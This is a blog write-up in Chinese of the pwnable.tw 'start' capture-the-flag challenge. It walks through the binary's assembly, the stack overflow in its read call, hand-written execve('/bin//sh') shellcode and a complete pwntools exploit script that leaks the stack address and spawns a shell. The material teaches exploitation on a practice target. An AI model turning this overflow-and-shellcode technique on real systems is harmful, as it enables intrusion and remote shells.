tylinux

不正经的正经程序员

一个人的命运啊,当然要靠自我奋斗,但是也要考虑历史的行程


pwnable.tw 0x0 start writeup

地址:https://pwnable.tw/challenge/#1

分析

下载 start 可执行文件,放到 Linux 虚拟机中,先 file 一下:

start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

32bit 可执行程序。

执行一下:

Let's start the CTF:

有个输入提示,随便输入点儿啥,回车就结束了,啥都没有发生。

radare2 打开分析一下:

aa 分析二进制文件
afl 列出所有 function
pdf 反汇编 function

如下:
-w1118

汇编很短,简单注释一下(可以用 objdump -M intel start 导出):

08048060 <_start>:
 // 保存 ESP
 8048060:    54                       push   esp

 // 保存程序返回地址
 8048061:    68 9d 80 04 08           push   0x804809d
 8048066:    31 c0                    xor    eax,eax
 8048068:    31 db                    xor    ebx,ebx
 804806a:    31 c9                    xor    ecx,ecx
 804806c:    31 d2                    xor    edx,edx

 // 把 "Let's start the CTF:" 放到栈里
 804806e:    68 43 54 46 3a           push   0x3a465443
 8048073:    68 74 68 65 20           push   0x20656874
 8048078:    68 61 72 74 20           push   0x20747261
 804807d:    68 73 20 73 74           push   0x74732073
 8048082:    68 4c 65 74 27           push   0x2774654c

 // 调用 Linux System Call 输出 "Let's start the CTF:"
 8048087:    89 e1                    mov    ecx,esp
 8048089:    b2 14                    mov    dl,0x14
 804808b:    b3 01                    mov    bl,0x1
 804808d:    b0 04                    mov    al,0x4
 804808f:    cd 80                    int    0x80

 // 调用 Linux System Call 接收用户输入,buffer 大小为 0x3c 
 8048091:    31 db                    xor    ebx,ebx
 8048093:    b2 3c                    mov    dl,0x3c
 8048095:    b0 03                    mov    al,0x3
 8048097:    cd 80                    int    0x80

 // 退栈
 8048099:    83 c4 14                 add    esp,0x14
 804809c:    c3                       ret

0804809d <_exit>:
 804809d:    5c                       pop    esp
 804809e:    31 c0                    xor    eax,eax
 80480a0:    40                       inc    eax
 80480a1:    cd 80                    int    0x80

Linux System Call Table 参考

简单介绍一下 Linux System Call 的调用规范:调用号放置在 eax 中,参数依次放入 ebxecxedx 等寄存器中,之后 int 80 执行调用,返回值会放入到 eax 中。

start 里使用了3号和4号调用完成输出到终端和从终端读入的功能,从 Linux System Call Table 参考 中可知,3/4号调用需要 3 个参数:

  • ebx: 文件指针
  • ecx: 输入/输入出缓冲区首地址
  • edx: 输出字节数

所以输入/输出部分汇编注释如下:

// 调用 Linux System Call 输出 "Let's start the CTF:"
 8048087:    89 e1                    mov    ecx,esp // 栈顶为输出缓冲首地址
 8048089:    b2 14                    mov    dl,0x14 // 共输出 20 个字符
 804808b:    b3 01                    mov    bl,0x1  // 输出到 stdout (0: stdin, 1: stdout, 2: stderr)
 804808d:    b0 04                    mov    al,0x4  // 调用号4
 804808f:    cd 80                    int    0x80    // 调用

// 调用 Linux System Call 接收用户输入,buffer 大小为 0x3c 
 8048091:    31 db                    xor    ebx,ebx  // exb = 0, stdin
 8048093:    b2 3c                    mov    dl,0x3c  // 共接收 60 个字符
 8048095:    b0 03                    mov    al,0x3   // 调用号3
 8048097:    cd 80                    int    0x80     // 调用

注意接收用户输入部分,ecx 未进行操作,值仍为之前设置的栈顶位置,所以用户输入会入栈。同时,”Let’s start the CTF:” 在栈中共占据 0x14 个字节,接收时却最大可以输入 0x3c 个字节,显然,这里存在栈溢出!

简单梳理下接收用户参数前,

             H +----------------+
               |   Pushed ESP   |
               +----------------+
               |     _exit      |
               +----------------+    <---
               |      CTF:      |      |
               +----------------+      |
               |      the       |      |
               +----------------+      |
               |      art       |    0x14 bytes
               +----------------+      |  
               |      s st      |      |
               +----------------+      |
               |      Let'      |      |
ESP/ECX ---> L +----------------+    <---

在输入的过程中,用户输入的数据会从低地址开始依次覆盖栈中的内容,所以,如果用户输入长度超过20,就会把栈底的返回地址和 保存的 ESP 给覆盖了。

GetShell

使用 peda 载入可执行程序后,checksec 分析应用启用的安全措施,如下:

-w180

显示 NX(Not Execute)已启用,然而 pwntools 里的 checksec 命令检查 NX 是 disable 掉的,事实上也确实是 disable 的。

-w493

既然没有任何安全措施,栈也是可执行的,我们可以直接把 shellcode 布置在栈上,然后构造参数通过 int 80 调用 sys_execve 执行 /bin/sh

构造 shellcode

目前我们的思路已经清晰了,就是通过 sys_execve 执行 /bin/sh。依据 Linux System Call Table 参考sys_execve 仅需要一个参数:可执行文件路径,放到 ebx 中,所以,我们得把 /bin/sh 这个字符串放到栈中。/bin/sh 一共7个字符,为了凑够 8 个字节,我们把 /bin/sh 处理成 /bin//sh

xor    eax,eax     // 清空 eax
push   eax         // 放个0到栈里,当作字符串结束
push   0x68732f2f  // "//sh" 入栈, 0x68732f2f 是 "//sh" 的 ASCII 16进制编码
push   0x6e69622f  // "/bin" 入栈。
mov    ebx,esp     // 把 "/bin//sh" 的地址赋值给 ebx,这是 sys_execve 的要求
xor    ecx,ecx     // 清空 ecx
xor    edx,edx     // 清空 ecx
mov    al,0xb      // 设置调用号 0xb(11)
int 0x80           // 调用 system call

PWN

在前边我们已经构造好了 shellcode,下边就使用 pwntools 进行本地测试以及获取 flag。

我们需要覆盖程序的返回地址达到控制程序流程的目的,所以我们需要获取 esp 的地址,注意地址为 0x8048087 的这条指令,是输出部分的代码,恰好将 esp 的地址赋值给了 ecx,我们可以将返回地址覆盖为 0x8048087 从而得到 esp 地址。

因为我们把程序返回地址修改为了输入部分,所以可以继续输入,再次输入,将 shellcode 覆盖在返回地址之后,将返回地址覆盖为 shellcode 开始的位置即可。
代码如下:

# -*- coding: UTF-8
# pwnable.tw callenge "start" pwn script
import sys
from pwn import *

SHELLCODE = '''
xor    eax,eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
xor    ecx,ecx
xor    edx,edx
mov    al,0xb
int    0x80
'''

NORMAL_INPUT_LEN = 0x14

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == 'pwn':
        proc = remote('chall.pwnable.tw', 10000)
    else:
        proc = process('./start')

    # 泄漏 esp
    payload = 'a' * NORMAL_INPUT_LEN + p32(0x8048087)
    proc.send(payload)
    proc.recvuntil(':')

    esp_addr = u32(proc.recv(4))
    print('ESP addr is: ', hex(esp_addr))

    # 发送 shellcode,get shell    
    context.arch = 'i386'
    shellcode = asm(SHELLCODE)    

    payload = 'a' * NORMAL_INPUT_LEN # 正常的最大输入 20 个字符
    payload += p32(esp_addr + NORMAL_INPUT_LEN) # 覆盖 _exit
    payload += shellcode
    proc.send(payload)

    proc.interactive()

栈变化如下:
开始时:

             H +----------------+
               |   Pushed ESP   |
               +----------------+
               |     _exit      |
               +----------------+    <---
               |      CTF:      |      |
               +----------------+      |
               |      the       |      |
               +----------------+      |
               |      art       |    0x14 bytes              
               +----------------+      |  
               |      s st      |      |
               +----------------+      |
               |      Let'      |      |
ESP/ECX ---> L +----------------+    <---

泄漏 ESP 时:


             H +----------------+
               |   Pushed ESP   |
               +----------------+
               |   0x8048087    |
               +----------------+    <---
               |      aaaa      |      |
               +----------------+      |
               |      aaaa      |      |
               +----------------+      |
               |      aaaa      |    0x14 bytes
               +----------------+      |  
               |      aaaa      |      |
               +----------------+      |
               |      aaaa      |      |
ESP --->     L +----------------+    <---

Get shell 时:

             H +----------------+
               |      ...       |
               +----------------+
               |    shellcode   |
               +----------------+
               |   esp + 0x14   |
               +----------------+    <---
               |      aaaa      |      |
               +----------------+      |
               |      aaaa      |      |
               +----------------+      |
               |      aaaa      |    0x14 bytes
               +----------------+      |  
               |      aaaa      |      |
               +----------------+      |
               |      aaaa      |      |
ESP --->     L +----------------+    <---
最近的文章

pwnable.tw 0x1 orw writeup

地址:https://pwnable.tw/challenge/#2 分析扔到 Linux 虚拟机里执行一下,提示:Give my your shellcode:(应该是 “Give me your shellcode”),结合题目提示: Read the flag from /home/orw …

于  pwn 继续阅读
更早的文章

在群晖中使用 Docker 安装 Jenkins

之前家里的 Jenkins 是跑在媳妇儿的老戴尔笔记本上,平台跑一些 DDNS、Blog 自动更新以及 Github Mirros 的任务。有种杀机用牛刀的感觉,为了响应国家节能减排的号召 (:D,准备把 Jenkins 迁移到家里的黑群晖上。但在折腾的过程中碰到一些问题,特此记录。 下载镜像下载的 …

于  docker, jenkins, synology 继续阅读